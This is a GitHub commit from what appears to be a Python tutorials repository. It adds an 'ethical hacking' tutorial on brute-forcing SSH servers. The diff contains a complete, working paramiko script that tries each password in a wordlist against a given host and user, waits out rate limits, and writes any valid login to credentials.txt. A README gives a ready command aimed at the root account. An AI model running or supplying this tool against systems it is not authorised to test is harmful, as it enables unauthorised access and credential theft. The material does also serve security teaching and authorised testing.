Skip to content

Commit 5a8ee08

Browse files
committed
added bruteforce ssh tutorial
1 parent f938538 commit 5a8ee08

File tree

5 files changed

+5088
-0
lines changed

5 files changed

+5088
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
1919
- [How to Encrypt and Decrypt Files in Python](https://www.thepythoncode.com/article/encrypt-decrypt-files-symmetric-python). ([code](ethical-hacking/file-encryption))
2020
- [How to Make a Subdomain Scanner in Python](https://www.thepythoncode.com/article/make-subdomain-scanner-python). ([code](ethical-hacking/subdomain-scanner))
2121
- [How to Use Steganography to Hide Secret Data in Images in Python](https://www.thepythoncode.com/article/hide-secret-data-in-images-using-steganography-python). ([code](ethical-hacking/steganography))
22+
- [How to Brute-Force SSH Servers in Python](https://www.thepythoncode.com/article/brute-force-ssh-servers-using-paramiko-in-python). ([code](ethical-hacking/bruteforce-ssh))
2223

2324
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
2425
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
# [How to Brute-Force SSH Servers in Python](https://www.thepythoncode.com/article/brute-force-ssh-servers-using-paramiko-in-python)
2+
To run this:
3+
- `pip3 install -r requirements.txt`
4+
-
5+
```
6+
python bruteforce_ssh.py --help
7+
```
8+
**Outputs:**
9+
```
10+
usage: bruteforce_ssh.py [-h] [-P PASSLIST] [-u USER] host
11+
12+
SSH Bruteforce Python script.
13+
14+
positional arguments:
15+
host Hostname or IP Address of SSH Server to bruteforce.
16+
17+
optional arguments:
18+
-h, --help show this help message and exit
19+
-P PASSLIST, --passlist PASSLIST
20+
File that contain password list in each line.
21+
-u USER, --user USER Host username.
22+
```
23+
- If you want to bruteforce against the server `192.168.1.101` for example, the user `root` and a password list of `wordlist.txt`:
24+
```
25+
python bruteforce_ssh.py 192.168.1.101 -u root -P wordlist.txt
26+
```
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
import threading
2+
import paramiko
3+
import socket
4+
import time
5+
from colorama import init, Fore
6+
7+
# initialize colorama
8+
init()
9+
10+
GREEN = Fore.GREEN
11+
RED = Fore.RED
12+
RESET = Fore.RESET
13+
BLUE = Fore.BLUE
14+
15+
16+
def is_ssh_open(hostname, username, password):
17+
# initialize SSH client
18+
client = paramiko.SSHClient()
19+
# add to know hosts
20+
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
21+
try:
22+
client.connect(hostname=hostname, username=username, password=password, timeout=3)
23+
except socket.timeout:
24+
# this is when host is unreachable
25+
print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
26+
return False
27+
except paramiko.AuthenticationException:
28+
print(f"[!] Invalid credentials for {username}:{password}")
29+
return False
30+
except paramiko.SSHException:
31+
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
32+
# sleep for a minute
33+
time.sleep(60)
34+
return is_ssh_open(hostname, username, password)
35+
else:
36+
# connection was established successfully
37+
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
38+
return True
39+
40+
41+
if __name__ == "__main__":
42+
import argparse
43+
parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.")
44+
parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.")
45+
parser.add_argument("-P", "--passlist", help="File that contain password list in each line.")
46+
parser.add_argument("-u", "--user", help="Host username.")
47+
48+
# parse passed arguments
49+
args = parser.parse_args()
50+
host = args.host
51+
passlist = args.passlist
52+
user = args.user
53+
# read the file
54+
passlist = open(passlist).read().splitlines()
55+
# brute-force
56+
for password in passlist:
57+
if is_ssh_open(host, user, password):
58+
# if combo is valid, save it to a file
59+
open("credentials.txt", "w").write(f"{user}@{host}:{password}")
60+
break
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
colorama
2+
paramiko

0 commit comments

Comments
 (0)